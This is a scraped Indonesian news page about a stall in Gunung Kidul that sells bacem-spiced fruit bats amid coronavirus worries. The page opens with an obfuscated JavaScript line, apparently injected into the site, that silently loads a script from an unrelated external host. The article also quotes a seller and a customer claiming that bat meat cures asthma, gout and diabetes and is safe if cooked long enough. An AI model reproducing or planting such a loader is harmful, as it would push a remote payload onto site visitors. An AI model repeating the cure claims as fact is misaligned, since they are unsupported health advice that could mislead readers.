(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, YOGYAKARTA– Di Desa Giriharjo, Kecamatan Panggang, Kabupaten Gunung Kidul ada sebuah warung khas masakan ekstrem. Salah satu menu yang disajikan adalah kelelawar bumbu bacem.
Kelelawar buah yang dipilih untuk dimasak bumbu bacem. Biasanya kelelawar buah disebut codot. Bukan kelelawar gua yang baunya sangat anyir. “Saya jual codot bacem sudah turun temurun, tetap banyak yang beli,” kata Sukarwanti, penjual codot bacem di Giriharjo, Panggang, Gunung Kidul.
Menurut Sukarwanti kepada tempo.co, para pelanggan codot bacem meyakini justru mengonsumsi binatang itu bisa menyembuhkan penyakit terutama asma, asam urat dan diabetes. Meskipun saat ini tengah merebak adanya virus corona yang diduga ditimbulkan oleh kelelawar, namun warung itu tetap didatangi para pelanggan.
Sukarwanti meyakini codot bacem olahannya aman dikonsumsi. Sebab, proses pengolahannya lama. Mulai dari membedah kelelawar, membersihkan hingga mengulitinya. Setelah bersih, codot itu digodok hingga lama. Bumbu bacem dimasukkan dalam rebusan sehingga rasa daging sangat gurih lalu digoreng. Proses memasak yang lama itu diyakini tidak masalah jika daging codot dikonsumsi.
“Codot didapat dari warga yang berburu, di tegalan dan dekat pantai,” kata Sukarwanti.
Harga codot bacem juga tidak mahal, yaitu antara Rp 7.000-Rp 8.000 untuk ukuran kecil dan sedang. Untuk ukuran besar dijual Rp 15 ribu per ekor.
Para pembeli tidak hanya dari wilayah Gunung Kidul, namun juga banyak dari luar kota. Bahkan ada yang telepon untuk diantarkan codot bacem. Sukarwanti berpendapat, jika memang virus corona disebabkan oleh kelelawar, itu karena cara memasaknya. Bahkan di China ada yang mengonsumsi kelelawar mentah.
Slamet, warga Bantul yang menyukai makanan ekstrem mengaku sering makan kelelawar bacem masakan Sukarwanti ini. Ia juga percaya kalau memasaknya dengan benar, tidak akan menimbulkan penyakit justru menjadi obat. “Saya sudah langganan sejak gempa bumi Bantul 2006. Selain rasanya gurih, juga bisa mengurangi rasa sakit asam urat,” kata dia.(tempo)
KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More
Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
This website uses cookies.